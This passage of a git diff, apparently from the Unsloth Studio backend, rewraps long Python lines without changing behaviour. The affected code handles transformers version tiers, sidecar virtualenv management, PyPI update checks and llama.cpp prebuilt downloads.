+            os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"),
+            "hub",
         )
     )
     repo_dir = Path(hub) / ("models--" + model_name.replace("/", "--"))
@@ -536,7 +548,10 @@ def _adapter_base_from_hf_cache(model_name: str) -> str | None:
     try:
         if ref_main.is_file():
             candidates.append(
-                repo_dir / "snapshots" / ref_main.read_text().strip() / "adapter_config.json"
+                repo_dir
+                / "snapshots"
+                / ref_main.read_text().strip()
+                / "adapter_config.json"
             )
         candidates += sorted(
             repo_dir.glob("snapshots/*/adapter_config.json"), key = _mtime, reverse = True
@@ -546,7 +561,9 @@ def _adapter_base_from_hf_cache(model_name: str) -> str | None:
                 base = json.loads(cfg_path.read_text()).get("base_model_name_or_path")
                 return base or None
     except Exception as exc:
-        logger.debug("HF cache adapter_config.json lookup failed for '%s': %s", model_name, exc)
+        logger.debug(
+            "HF cache adapter_config.json lookup failed for '%s': %s", model_name, exc
+        )
     return None
 
 
@@ -563,7 +580,9 @@ def _remote_lora_base(model_name: str, hf_token: str | None = None) -> str | Non
     try:
         from utils.paths import is_local_path
         if is_local_path(model_name):
-            return None  # an existing relative path is a local checkpoint, not a Hub repo
+            return (
+                None  # an existing relative path is a local checkpoint, not a Hub repo
+            )
     except Exception:
         pass
     if _env_offline():
@@ -583,7 +602,9 @@ def _remote_lora_base(model_name: str, hf_token: str | None = None) -> str | Non
             cfg = json.loads(resp.read().decode())
         base = cfg.get("base_model_name_or_path")
         if base:
-            logger.info("Resolved remote LoRA adapter '%s' → base model '%s'", model_name, base)
+            logger.info(
+                "Resolved remote LoRA adapter '%s' → base model '%s'", model_name, base
+            )
         return base or None
     except urllib.error.HTTPError as exc:
         if exc.code == 404:
@@ -595,7 +616,9 @@ def _remote_lora_base(model_name: str, hf_token: str | None = None) -> str | Non
         return _adapter_base_from_hf_cache(model_name)
 
 
-def _check_tokenizer_config_needs_v5(model_name: str, hf_token: str | None = None) -> bool:
+def _check_tokenizer_config_needs_v5(
+    model_name: str, hf_token: str | None = None
+) -> bool:
     """True if the model's tokenizer_class requires transformers 5.x.
 
     Checks local tokenizer_config.json, else fetches from HuggingFace (authenticated
@@ -660,7 +683,9 @@ def _check_tokenizer_config_needs_v5(model_name: str, hf_token: str | None = Non
         _tokenizer_class_cache[cache_key] = result
         return result
     except Exception as exc:
-        logger.debug("Could not fetch tokenizer_config.json for '%s': %s", model_name, exc)
+        logger.debug(
+            "Could not fetch tokenizer_config.json for '%s': %s", model_name, exc
+        )
         _tokenizer_class_cache[cache_key] = False
         return False
 
@@ -679,13 +704,19 @@ def _config_json_from_hf_cache(model_name: str) -> dict | None:
     loads the default-env hub before a sidecar venv is activated.
     """
     # Only a canonical ``owner/repo`` Hub id maps to a cache dir; reject local paths.
-    if not model_name or model_name.count("/") != 1 or model_name[0] in "/.~" or "\\" in model_name:
+    if (
+        not model_name
+        or model_name.count("/") != 1
+        or model_name[0] in "/.~"
+        or "\\" in model_name
+    ):
         return None
     hub = (
         os.environ.get("HF_HUB_CACHE")
         or os.environ.get("HUGGINGFACE_HUB_CACHE")
         or os.path.join(
-            os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"), "hub"
+            os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"),
+            "hub",
         )
     )
     repo_dir = Path(hub) / ("models--" + model_name.replace("/", "--"))
@@ -693,7 +724,9 @@ def _config_json_from_hf_cache(model_name: str) -> dict | None:
     ref_main = repo_dir / "refs" / "main"
     try:
         if ref_main.is_file():
-            candidates.append(repo_dir / "snapshots" / ref_main.read_text().strip() / "config.json")
+            candidates.append(
+                repo_dir / "snapshots" / ref_main.read_text().strip() / "config.json"
+            )
         # No refs/main (e.g. commit-pinned downloads): newest snapshot by mtime, not a stale
         # lexicographically-first SHA, matching what the Hub cache would actually load.
         candidates += sorted(
@@ -781,7 +814,9 @@ def _config_json_is_definitive(model_name: str, hf_token: str | None = None) ->
     return _token_cache_key(model_name, hf_token) in _config_json_cache
 
 
-def _config_matches_tier(cfg: dict, architectures: set[str], model_types: set[str]) -> bool:
+def _config_matches_tier(
+    cfg: dict, architectures: set[str], model_types: set[str]
+) -> bool:
     # Defensive: a malformed config may carry non-string values (e.g. list model_type).
     archs = cfg.get("architectures")
     if isinstance(archs, (list, tuple)) and any(a in architectures for a in archs):
@@ -817,7 +852,9 @@ def _nemotron_h_needs_mlp_support(cfg: dict) -> bool:
         block_types = cfg.get("layers_block_type")
         if isinstance(block_types, (list, tuple)) and "mlp" in block_types:
             return True
-    return any(_nemotron_h_needs_mlp_support(cfg.get(key)) for key in _NESTED_CONFIG_KEYS)
+    return any(
+        _nemotron_h_needs_mlp_support(cfg.get(key)) for key in _NESTED_CONFIG_KEYS
+    )
 
 
 def _config_needs_510(cfg: dict) -> bool:
@@ -939,7 +976,9 @@ _config_mapping_cache: dict[str, frozenset[str]] = {}
 def _latest_tier_disabled() -> bool:
     """Kill switch shared with utils.transformers_latest: lets operators roll
     back a provisioned latest sidecar without deleting files."""
-    return os.environ.get("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "").strip().lower() in (
+    return os.environ.get(
+        "UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", ""
+    ).strip().lower() in (
         "1",
         "true",
         "yes",
@@ -974,7 +1013,9 @@ def _overlay_transformers_dir(tier: str) -> str | None:
     global _latest_repair_failed_at
     if tier != "default":
         # latest requires a valid pin and the kill switch off.
-        if tier == "latest" and (_latest_tier_disabled() or latest_venv_pinned_version() is None):
+        if tier == "latest" and (
+            _latest_tier_disabled() or latest_venv_pinned_version() is None
+        ):
             return None
         root = {
             "530": _VENV_T5_530_DIR,
@@ -1039,7 +1080,9 @@ def _mapping_first_keys(value: ast.AST) -> set[str]:
             return list(node.keys)
         if isinstance(node, (ast.List, ast.Tuple)):
             return [
-                el.elts[0] for el in node.elts if isinstance(el, (ast.Tuple, ast.List)) and el.elts
+                el.elts[0]
+                for el in node.elts
+                if isinstance(el, (ast.Tuple, ast.List)) and el.elts
             ]
         return []
 
@@ -1050,7 +1093,11 @@ def _mapping_first_keys(value: ast.AST) -> set[str]:
         for kw in value.keywords:  # **{...} unpacking has kw.arg is None
             if kw.arg is None:
                 nodes += keys_of(kw.value)
-    return {n.value for n in nodes if isinstance(n, ast.Constant) and isinstance(n.value, str)}
+    return {
+        n.value
+        for n in nodes
+        if isinstance(n, ast.Constant) and isinstance(n.value, str)
+    }
 
 
 def _model_types_from_source(source: str) -> set[str]:
@@ -1065,7 +1112,8 @@ def _model_types_from_source(source: str) -> set[str]:
     tree = ast.parse(source)
     for node in ast.walk(tree):
         if isinstance(node, ast.Assign) and any(
-            isinstance(t, ast.Name) and t.id == "CONFIG_MAPPING_NAMES" for t in node.targets
+            isinstance(t, ast.Name) and t.id == "CONFIG_MAPPING_NAMES"
+            for t in node.targets
         ):
             keys |= _mapping_first_keys(node.value)
         elif isinstance(node, ast.Expr) and isinstance(node.value, ast.Call):
@@ -1096,7 +1144,9 @@ def _config_model_types(tier: str) -> frozenset[str]:
         _config_mapping_cache.pop("latest", None)
     tdir = _overlay_transformers_dir(tier)
     if tdir is None:
-        return frozenset()  # overlay not provisioned yet; do not cache so a later call re-reads
+        return (
+            frozenset()
+        )  # overlay not provisioned yet; do not cache so a later call re-reads
     keys: set[str] = set()
     for rel in ("models/auto/configuration_auto.py", "models/auto/auto_mappings.py"):
         path = Path(tdir) / rel
@@ -1246,7 +1296,9 @@ def _probe_tier_order() -> tuple[str, ...]:
     return _PROBE_TIER_ORDER
 
 
-def _probe_autoconfig(target_dir: str, model_name: str, hf_token: str | None) -> bool | None:
+def _probe_autoconfig(
+    target_dir: str, model_name: str, hf_token: str | None
+) -> bool | None:
     """Parse config.json with the built-in parser inside *target_dir*'s sidecar.
     True = parses, False = parse/version failure (escalate), None = transient
     (auth/network/offline/spawn) so the caller fails safe and does not cache.
@@ -1272,7 +1324,9 @@ def _probe_autoconfig(target_dir: str, model_name: str, hf_token: str | None) ->
             **_windows_hidden_subprocess_kwargs(),
         )
     except subprocess.TimeoutExpired:
-        logger.warning("AutoConfig probe timed out for '%s' in %s", model_name, target_dir)
+        logger.warning(
+            "AutoConfig probe timed out for '%s' in %s", model_name, target_dir
+        )
         return None
     except Exception as exc:
         logger.warning("AutoConfig probe could not spawn for '%s': %s", model_name, exc)
@@ -1281,9 +1335,13 @@ def _probe_autoconfig(target_dir: str, model_name: str, hf_token: str | None) ->
         return True
     err = (result.stderr or "").strip()
     if _stderr_is_transient(err):
-        logger.warning("AutoConfig probe transient failure for '%s': %s", model_name, err)
+        logger.warning(
+            "AutoConfig probe transient failure for '%s': %s", model_name, err
+        )
         return None
-    logger.info("AutoConfig probe parse failure for '%s' in %s: %s", model_name, target_dir, err)
+    logger.info(
+        "AutoConfig probe parse failure for '%s' in %s: %s", model_name, target_dir, err
+    )
     return False
 
 
@@ -1323,7 +1381,12 @@ def _probe_tier(
     stays on the default. Cached per _probe_cache_key (process lifetime). No Hub sha is
     resolved: that would import huggingface_hub before the sidecar is on sys.path.
     """
-    if os.environ.get("UNSLOTH_DISABLE_TIER_PROBE", "").lower() in ("1", "true", "yes", "on"):
+    if os.environ.get("UNSLOTH_DISABLE_TIER_PROBE", "").lower() in (
+        "1",
+        "true",
+        "yes",
+        "on",
+    ):
         return floor
     key = _probe_cache_key(model_name)
     # Key by probe mode: the default-first path can return 'default', which must not be
@@ -1368,14 +1431,22 @@ def _probe_tier(
             )
             return _cache(tier, skipped = skipped_any)
         if ok is None:
-            logger.info("Tier probe inconclusive for %s (%s); using %s", model_name, reason, floor)
+            logger.info(
+                "Tier probe inconclusive for %s (%s); using %s",
+                model_name,
+                reason,
+                floor,
+            )
             return floor  # transient: retry next load
 
     # Nothing parsed. Only treat it as conclusive (and cache) when every tier was actually
     # probed; a skipped sidecar means the environment is incomplete, so retry uncached.
     if skipped_any or probed_count == 0:
         logger.info(
-            "Tier probe incomplete for %s (%s); using %s (uncached)", model_name, reason, floor
+            "Tier probe incomplete for %s (%s); using %s (uncached)",
+            model_name,
+            reason,
+            floor,
         )
         return floor
     logger.info(
@@ -1548,13 +1619,17 @@ def get_transformers_tier(
                 )
                 return static
             local_tc = Path(model_name) / "tokenizer_config.json"
-            if _safe_is_file(local_tc) and _check_tokenizer_config_needs_v5(model_name, hf_token):
+            if _safe_is_file(local_tc) and _check_tokenizer_config_needs_v5(
+                model_name, hf_token
+            ):
                 if not probe:
                     return "530"
                 return _probe_tier(model_name, hf_token, "local tokenizer needs 5.x")
             if _config_saved_by_transformers_5(cfg):
                 if not probe:
-                    return "530"  # cheap 5.x hint; the real path resolves the exact tier
+                    return (
+                        "530"  # cheap 5.x hint; the real path resolves the exact tier
+                    )
                 tier = _probe_tier(
                     model_name,
                     hf_token,
@@ -1592,11 +1667,15 @@ def get_transformers_tier(
     # --- Slow config fallbacks (network for HF IDs; authenticated with hf_token) --------
     if _check_config_needs_510(model_name, hf_token):
         tier = _raise_tier_for_nested(_load_config_json(model_name, hf_token), "510")
-        logger.info("Transformers tier %s selected for %s (config.json check)", tier, model_name)
+        logger.info(
+            "Transformers tier %s selected for %s (config.json check)", tier, model_name
+        )
         return tier
     if _check_config_needs_550(model_name, hf_token):
         tier = _raise_tier_for_nested(_load_config_json(model_name, hf_token), "550")
-        logger.info("Transformers tier %s selected for %s (config.json check)", tier, model_name)
+        logger.info(
+            "Transformers tier %s selected for %s (config.json check)", tier, model_name
+        )
         return tier
     if _check_config_needs_530(model_name, hf_token):
         # Qwen3.6 reuses Qwen3.5 config ids but needs 5.5 by name; honor a real Hub-id name
@@ -1615,7 +1694,9 @@ def get_transformers_tier(
             )
             return override
         tier = _raise_tier_for_nested(remote_cfg, "530")
-        logger.info("Transformers tier %s selected for %s (config.json check)", tier, model_name)
+        logger.info(
+            "Transformers tier %s selected for %s (config.json check)", tier, model_name
+        )
         return tier
     # _load_config_json (not the cache-only reader) so a config served from the hub
     # cache during a transient outage still feeds the mapping resolver.
@@ -1647,7 +1728,9 @@ def get_transformers_tier(
         if tier != "default":
             return tier
 
-    logger.info("Transformers tier default (4.57.x) selected for %s (no match)", model_name)
+    logger.info(
+        "Transformers tier default (4.57.x) selected for %s (no match)", model_name
+    )
     return "default"
 
 
@@ -1748,7 +1831,8 @@ def _venv_dir_is_valid(venv_dir: str, packages: tuple[str, ...]) -> bool:
         pkg_name_norm = pkg_name.replace("-", "_")
         # Directory must exist.
         if not any(
-            (Path(venv_dir) / d).is_dir() for d in (pkg_name_norm, pkg_name_norm.replace("_", "-"))
+            (Path(venv_dir) / d).is_dir()
+            for d in (pkg_name_norm, pkg_name_norm.replace("_", "-"))
         ):
             return False
         # Unpinned packages: existence is enough.
@@ -1843,7 +1927,9 @@ def _ensure_venv_dir(venv_dir: str, packages: tuple[str, ...], label: str) -> bo
     if _venv_dir_is_valid(venv_dir, packages):
         return True
 
-    logger.warning("%s not found or incomplete at %s -- installing at runtime", label, venv_dir)
+    logger.warning(
+        "%s not found or incomplete at %s -- installing at runtime", label, venv_dir
+    )
     shutil.rmtree(venv_dir, ignore_errors = True)
     os.makedirs(venv_dir, exist_ok = True)
     total = len(packages)
@@ -1857,7 +1943,9 @@ def _ensure_venv_dir(venv_dir: str, packages: tuple[str, ...], label: str) -> bo
 
 def _ensure_venv_t5_530_exists() -> bool:
     """Ensure .venv_t5_530/ exists with transformers 5.3.0."""
-    return _ensure_venv_dir(_VENV_T5_530_DIR, _VENV_T5_530_PACKAGES, "transformers 5.3.0")
+    return _ensure_venv_dir(
+        _VENV_T5_530_DIR, _VENV_T5_530_PACKAGES, "transformers 5.3.0"
+    )
 
 
 def _ensure_venv_t5_550_exists() -> bool:
@@ -1893,7 +1981,10 @@ _LATEST_VERSION_RE = r"[0-9]+(\.[0-9]+)*((a|b|rc)[0-9]+)?(\.post[0-9]+)?(\.dev[0
 
 def _is_valid_version_string(version: str) -> bool:
     import re
-    return isinstance(version, str) and re.fullmatch(_LATEST_VERSION_RE, version) is not None
+    return (
+        isinstance(version, str)
+        and re.fullmatch(_LATEST_VERSION_RE, version) is not None
+    )
 
 
 # Only the sidecar recipe's own packages, as plain (optionally ==pinned) specs, may
@@ -1934,7 +2025,9 @@ def _recover_stranded_latest_sidecar() -> None:
         if live.exists() or not retired.is_dir() or sidecar_swap_in_progress():
             return
         os.rename(retired, live)
-        logger.info("Recovered .venv_t5_latest from a stranded .old after a failed swap")
+        logger.info(
+            "Recovered .venv_t5_latest from a stranded .old after a failed swap"
+        )
     except OSError:
         pass
 
@@ -1985,7 +2078,9 @@ def latest_venv_pinned_version() -> str | None:
     return data["version"] if data else None
 
 
-def _venv_t5_latest_packages(version: str, extra_packages: tuple[str, ...] = ()) -> tuple[str, ...]:
+def _venv_t5_latest_packages(
+    version: str, extra_packages: tuple[str, ...] = ()
+) -> tuple[str, ...]:
     """Package set for the latest sidecar; mirrors the fixed .venv_t5_* sidecars.
     *extra_packages* carries dep-compat shadows (e.g. a newer tokenizers) computed by
     utils.transformers_latest before install."""
@@ -2030,7 +2125,11 @@ def _pid_alive(pid) -> bool:
             from ctypes import wintypes
 
             kernel32 = ctypes.WinDLL("kernel32", use_last_error = True)
-            kernel32.OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]
+            kernel32.OpenProcess.argtypes = [
+                wintypes.DWORD,
+                wintypes.BOOL,
+                wintypes.DWORD,
+            ]
             kernel32.OpenProcess.restype = wintypes.HANDLE
             # PROCESS_QUERY_LIMITED_INFORMATION: minimal right, granted across integrity levels.
             handle = kernel32.OpenProcess(0x1000, False, pid)
@@ -2118,7 +2217,12 @@ def try_begin_sidecar_swap(kind: str = "install") -> bool:
                 with os.fdopen(fd, "w") as f:
                     f.write(
                         json.dumps(
-                            {"pid": os.getpid(), "at": time.time(), "token": token, "kind": kind}
+                            {
+                                "pid": os.getpid(),
+                                "at": time.time(),
+                                "token": token,
+                                "kind": kind,
+                            }
                         )
                     )
             except OSError:
@@ -2139,7 +2243,10 @@ def end_sidecar_swap() -> None:
             # live lock and unguard its in-flight swap.
             path = _swap_lock_path()
             data = _read_swap_lock(path)
-            if data is not None and data.get("token", _sidecar_swap_token) == _sidecar_swap_token:
+            if (
+                data is not None
+                and data.get("token", _sidecar_swap_token) == _sidecar_swap_token
+            ):
                 try:
                     path.unlink()
                 except OSError:
@@ -2194,7 +2301,8 @@ def _stage_and_swap_latest_venv(
             shutil.rmtree(staging, ignore_errors = True)
             return False
         (Path(staging) / _LATEST_PIN_MARKER).write_text(
-            json.dumps({"version": version, "packages": list(packages)}), encoding = "utf-8"
+            json.dumps({"version": version, "packages": list(packages)}),
+            encoding = "utf-8",
         )
         if before_swap is not None:
             before_swap()
@@ -2209,7 +2317,9 @@ def _stage_and_swap_latest_venv(
                 os.rename(retired, _VENV_T5_LATEST_DIR)
             raise
     except Exception as exc:
-        logger.error("Could not provision transformers %s into .venv_t5_latest: %s", version, exc)
+        logger.error(
+            "Could not provision transformers %s into .venv_t5_latest: %s", version, exc
+        )
         shutil.rmtree(staging, ignore_errors = True)
         return False
     shutil.rmtree(retired, ignore_errors = True)
@@ -2333,7 +2443,8 @@ def ensure_latest_transformers_venv(
         return False
     if _env_offline():
         logger.warning(
-            "Cannot install transformers %s: HF/transformers offline mode is set.", version
+            "Cannot install transformers %s: HF/transformers offline mode is set.",
+            version,
         )
         return False
     packages = _venv_t5_latest_packages(version, extra_packages)
@@ -2376,9 +2487,7 @@ _VENV_LLMCOMPRESSOR_SPECS = (
     "regex==2026.6.28",
 )
 # Fingerprint of the pin set; bump the trailing schema version to force a rebuild on layout changes.
-_LLMC_SHADOW_FINGERPRINT = (
-    f"{_LLMC_MAIN_SHA}|{_LLMC_MAIN_TRANSFORMERS}|{_LLMC_MAIN_COMPRESSED_TENSORS}|schema=1"
-)
+_LLMC_SHADOW_FINGERPRINT = f"{_LLMC_MAIN_SHA}|{_LLMC_MAIN_TRANSFORMERS}|{_LLMC_MAIN_COMPRESSED_TENSORS}|schema=1"
 _LLMC_SHADOW_MARKER = ".unsloth_llmc_fingerprint"
 
 
@@ -2396,7 +2505,9 @@ def _llmcompressor_shadow_is_valid() -> bool:
     """True if the shadow dir exists with a marker matching the current pin fingerprint."""
     marker = Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER
     try:
-        return marker.is_file() and marker.read_text().strip() == _LLMC_SHADOW_FINGERPRINT
+        return (
+            marker.is_file() and marker.read_text().strip() == _LLMC_SHADOW_FINGERPRINT
+        )
     except Exception:
         return False
 
@@ -2469,9 +2580,13 @@ def _ensure_venv_llmcompressor_exists() -> bool:
                 )
             except Exception:
                 pass
-            logger.info("Provisioned llm-compressor-main shadow at %s", _VENV_LLMCOMPRESSOR_DIR)
+            logger.info(
+                "Provisioned llm-compressor-main shadow at %s", _VENV_LLMCOMPRESSOR_DIR
+            )
             return True
-        logger.warning("llm-compressor-main shadow install failed with %s; trying next", cmd[0])
+        logger.warning(
+            "llm-compressor-main shadow install failed with %s; trying next", cmd[0]
+        )
 
     logger.error(
         "Failed to provision llm-compressor-main shadow (spec: llmcompressor@%s). Output:\n%s",
@@ -2510,7 +2625,12 @@ def _activate_venv(venv_dir: str, label: str) -> None:
 
 def _deactivate_5x() -> None:
     """Remove all .venv_t5_*/ dirs from sys.path, purge stale modules, reimport."""
-    for d in (_VENV_T5_530_DIR, _VENV_T5_550_DIR, _VENV_T5_510_DIR, _VENV_T5_LATEST_DIR):
+    for d in (
+        _VENV_T5_530_DIR,
+        _VENV_T5_550_DIR,
+        _VENV_T5_510_DIR,
+        _VENV_T5_LATEST_DIR,
+    ):
         while d in sys.path:
             sys.path.remove(d)
     logger.info("Removed venv_t5 dirs from sys.path")
@@ -2618,12 +2738,15 @@ def ensure_transformers_version(model_name: str) -> None:
         _deactivate_5x()
         if not ensure_fn():
             raise RuntimeError(
-                f"Cannot activate transformers {target_version}: " f"venv missing at {venv_dir}"
+                f"Cannot activate transformers {target_version}: "
+                f"venv missing at {venv_dir}"
             )
         logger.info("Activating transformers %s…", target_version)
         _activate_venv(venv_dir, f"transformers {target_version}")
     else:
-        logger.info("Reverting to default transformers %s…", TRANSFORMERS_DEFAULT_VERSION)
+        logger.info(
+            "Reverting to default transformers %s…", TRANSFORMERS_DEFAULT_VERSION
+        )
         _deactivate_5x()
 
     final = _get_in_memory_version()
diff --git a/studio/backend/utils/update_status.py b/studio/backend/utils/update_status.py
index ad9dabcf36..bf9afcd23a 100644
--- a/studio/backend/utils/update_status.py
+++ b/studio/backend/utils/update_status.py
@@ -72,7 +72,11 @@ def detect_install_source() -> str:
     try:
         dist = distribution(PACKAGE_NAME)
     except PackageNotFoundError:
-        return "local_repo" if _path_has_git_parent(_repo_root_from_this_file()) else "unknown"
+        return (
+            "local_repo"
+            if _path_has_git_parent(_repo_root_from_this_file())
+            else "unknown"
+        )
 
     try:
         direct_url = dist.read_text("direct_url.json")
@@ -141,7 +145,9 @@ def get_studio_update_status(current_version: str) -> dict[str, Any]:
             current_version = current_version,
             latest_version = None,
             install_source = install_source,
-            reason = "invalid_current_version" if current_version != "dev" else "dev_build",
+            reason = "invalid_current_version"
+            if current_version != "dev"
+            else "dev_build",
         )
     latest_result = get_latest_pypi_version()
     if latest_result.latest_version is None:
@@ -209,7 +215,9 @@ def get_latest_pypi_version() -> LatestVersionResult:
             error = "Could not check PyPI update metadata.",
         )
 
-    ttl = PYPI_SUCCESS_TTL_SECONDS if result.latest_version else PYPI_FAILURE_TTL_SECONDS
+    ttl = (
+        PYPI_SUCCESS_TTL_SECONDS if result.latest_version else PYPI_FAILURE_TTL_SECONDS
+    )
     with _cache_condition:
         _latest_version_cache = _LatestVersionCacheEntry(
             result = result,
@@ -253,7 +261,9 @@ def _fetch_latest_pypi_version() -> LatestVersionResult:
             error = "Could not reach PyPI for update metadata.",
         )
 
-    latest = payload.get("info", {}).get("version") if isinstance(payload, dict) else None
+    latest = (
+        payload.get("info", {}).get("version") if isinstance(payload, dict) else None
+    )
     if not isinstance(latest, str) or not latest.strip():
         return LatestVersionResult(
             latest_version = None,
@@ -355,4 +365,9 @@ def _parse_current_version(current_version: str) -> Version | None:
 
 
 def _utc_now_iso() -> str:
-    return datetime.now(timezone.utc).replace(microsecond = 0).isoformat().replace("+00:00", "Z")
+    return (
+        datetime.now(timezone.utc)
+        .replace(microsecond = 0)
+        .isoformat()
+        .replace("+00:00", "Z")
+    )
diff --git a/studio/backend/utils/utils.py b/studio/backend/utils/utils.py
index 31f5f31bee..7ff29df3c8 100644
--- a/studio/backend/utils/utils.py
+++ b/studio/backend/utils/utils.py
@@ -19,7 +19,9 @@ logger = get_logger(__name__)
 # Never return raw exception text to clients; log server-side, return generic.
 
 
-def safe_error_detail(error: Exception, fallback: str = "An internal error occurred") -> str:
+def safe_error_detail(
+    error: Exception, fallback: str = "An internal error occurred"
+) -> str:
     """Map an exception to a generic, client-safe message (never raw
     ``str(error)``, which can leak paths). Log the real exception server-side.
     """
@@ -36,7 +38,9 @@ def safe_error_detail(error: Exception, fallback: str = "An internal error occur
     return fallback
 
 
-def safe_curated_detail(error: Exception, fallback: str = "An internal error occurred") -> str:
+def safe_curated_detail(
+    error: Exception, fallback: str = "An internal error occurred"
+) -> str:
     """Client-safe text for curated domain/validation exceptions.
 
     Keeps the message (paths stripped) instead of a generic fallback; for known
diff --git a/studio/backend/utils/uv_path_safety.py b/studio/backend/utils/uv_path_safety.py
index 519014c71c..03a3eecaa2 100644
--- a/studio/backend/utils/uv_path_safety.py
+++ b/studio/backend/utils/uv_path_safety.py
@@ -55,7 +55,9 @@ def uv_safe_path(path: object) -> str:
         if " " in tmp_dir:  # e.g. TMPDIR itself has a space
             shutil.rmtree(tmp_dir, ignore_errors = True)
             return s
-        dst = os.path.join(tmp_dir, (os.path.basename(s) or "uv_args.txt").replace(" ", "_"))
+        dst = os.path.join(
+            tmp_dir, (os.path.basename(s) or "uv_args.txt").replace(" ", "_")
+        )
         shutil.copyfile(s, dst)
         _UV_SAFE_PATH_TMPDIRS.append(tmp_dir)
         tmp_dir = None
diff --git a/studio/backend/utils/wheel_utils.py b/studio/backend/utils/wheel_utils.py
index 1b5926fd49..246aebdeba 100644
--- a/studio/backend/utils/wheel_utils.py
+++ b/studio/backend/utils/wheel_utils.py
@@ -19,7 +19,9 @@ from utils.subprocess_compat import windows_hidden_subprocess_kwargs
 
 _logger = logging.getLogger(__name__)
 
-FLASH_ATTN_RELEASE_BASE_URL = "https://github.com/Dao-AILab/flash-attention/releases/download"
+FLASH_ATTN_RELEASE_BASE_URL = (
+    "https://github.com/Dao-AILab/flash-attention/releases/download"
+)
 
 
 @functools.lru_cache(maxsize = 1)
@@ -168,7 +170,9 @@ def flash_attn_package_version(torch_mm: str) -> str | None:
 def flash_attn_wheel_url(env: dict[str, str] | None) -> str | None:
     if env is None:
         return None
-    package_version = flash_attn_package_version(prebuilt_wheel_torch_mm(env["torch_mm"]))
+    package_version = flash_attn_package_version(
+        prebuilt_wheel_torch_mm(env["torch_mm"])
+    )
     if package_version is None:
         return None
     return direct_wheel_url(
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index b8182a534b..733755a666 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -69,7 +69,10 @@ def _path_inside_venv(path: str) -> bool:
         # it. A venv is never at root, so treat that as outside.
         if os.path.dirname(_root) == _root:
             return False
-        return os.path.normcase(os.path.commonpath([os.path.realpath(path), _root])) == _root
+        return (
+            os.path.normcase(os.path.commonpath([os.path.realpath(path), _root]))
+            == _root
+        )
     except (ValueError, OSError):
         # Different drive / unresolvable -> treat as outside the venv.
         return False
@@ -182,7 +185,9 @@ UPSTREAM_REPO = "ggml-org/llama.cpp"
 UPSTREAM_RELEASES_API = f"https://api.github.com/repos/{UPSTREAM_REPO}/releases/latest"
 
 
-TEST_MODEL_URL = "https://huggingface.co/ggml-org/models/resolve/main/tinyllamas/stories260K.gguf"
+TEST_MODEL_URL = (
+    "https://huggingface.co/ggml-org/models/resolve/main/tinyllamas/stories260K.gguf"
+)
 TEST_MODEL_SHA256 = "270cba1bd5109f42d03350f60406024560464db173c0e387d91f0426d3bd256d"
 VALIDATION_MODEL_CACHE_DIRNAME = ".cache"
 VALIDATION_MODEL_CACHE_FILENAME = "stories260K.gguf"
@@ -473,7 +478,9 @@ _LOG_TO_STDOUT = False
 
 
 def log(message: str) -> None:
-    print(f"[llama-prebuilt] {message}", file = sys.stdout if _LOG_TO_STDOUT else sys.stderr)
+    print(
+        f"[llama-prebuilt] {message}", file = sys.stdout if _LOG_TO_STDOUT else sys.stderr
+    )
 
 
 def log_lines(lines: Iterable[str]) -> None:
@@ -528,7 +535,9 @@ class _CrossHostAuthStrippingRedirectHandler(urllib.request.HTTPRedirectHandler)
 
     def redirect_request(self, req, fp, code, msg, headers, newurl):
         new_request = super().redirect_request(req, fp, code, msg, headers, newurl)
-        if new_request is not None and parsed_hostname(newurl) != parsed_hostname(req.full_url):
+        if new_request is not None and parsed_hostname(newurl) != parsed_hostname(
+            req.full_url
+        ):
             new_request.headers.pop("Authorization", None)
             new_request.unredirected_hdrs.pop("Authorization", None)
         return new_request
@@ -780,9 +789,9 @@ def refs_match(candidate_ref: str | None, requested_ref: str | None) -> bool:
     candidate_commit = normalize_source_commit(candidate_ref)
     requested_commit = normalize_source_commit(requested_ref)
     if candidate_commit and requested_commit:
-        return candidate_commit.startswith(requested_commit) or requested_commit.startswith(
-            candidate_commit
-        )
+        return candidate_commit.startswith(
+            requested_commit
+        ) or requested_commit.startswith(candidate_commit)
     return False
 
 
@@ -886,7 +895,11 @@ class DownloadProgress:
         self.last_emit = 0.0
         term_ok = os.environ.get("TERM", "").lower() != "dumb"
         self.stream = (
-            sys.stderr if sys.stderr.isatty() else sys.stdout if sys.stdout.isatty() else sys.stderr
+            sys.stderr
+            if sys.stderr.isatty()
+            else sys.stdout
+            if sys.stdout.isatty()
+            else sys.stderr
         )
         self.is_tty = term_ok and self.stream.isatty()
         self.completed = False
@@ -920,7 +933,10 @@ class DownloadProgress:
         if self.is_tty:
             elapsed = now - self.start_time
             if not self.has_rendered_tty_progress:
-                if self.total_bytes is not None and downloaded_bytes >= self.total_bytes:
+                if (
+                    self.total_bytes is not None
+                    and downloaded_bytes >= self.total_bytes
+                ):
                     return
                 if elapsed < TTY_PROGRESS_START_DELAY_SECONDS:
                     return
@@ -943,7 +959,10 @@ class DownloadProgress:
             percent = int((downloaded_bytes * 100) / max(self.total_bytes, 1))
             step = self.milestone_step
             milestone_percent = min((percent // step) * step, 100)
-            if milestone_percent > self.last_milestone_percent and milestone_percent < 100:
+            if (
+                milestone_percent > self.last_milestone_percent
+                and milestone_percent < 100
+            ):
                 self.last_milestone_percent = milestone_percent
                 should_emit = True
         else:
@@ -996,7 +1015,11 @@ def download_bytes(
                 content_length = response.headers.get("Content-Length")
                 if content_length and content_length.isdigit():
                     total_bytes = int(content_length)
-                progress = DownloadProgress(progress_label, total_bytes) if progress_label else None
+                progress = (
+                    DownloadProgress(progress_label, total_bytes)
+                    if progress_label
+                    else None
+                )
                 data = bytearray()
                 while True:
                     chunk = response.read(1024 * 1024)
@@ -1026,13 +1049,17 @@ def fetch_json(url: str) -> Any:
             data = download_bytes(
                 url,
                 timeout = 30,
-                headers = github_api_headers(url) if is_github_api_url(url) else auth_headers(url),
+                headers = github_api_headers(url)
+                if is_github_api_url(url)
+                else auth_headers(url),
             )
         except urllib.error.HTTPError as exc:
             if exc.code == 403 and is_github_api_url(url):
                 hint = ""
                 if not (os.environ.get("GH_TOKEN") or os.environ.get("GITHUB_TOKEN")):
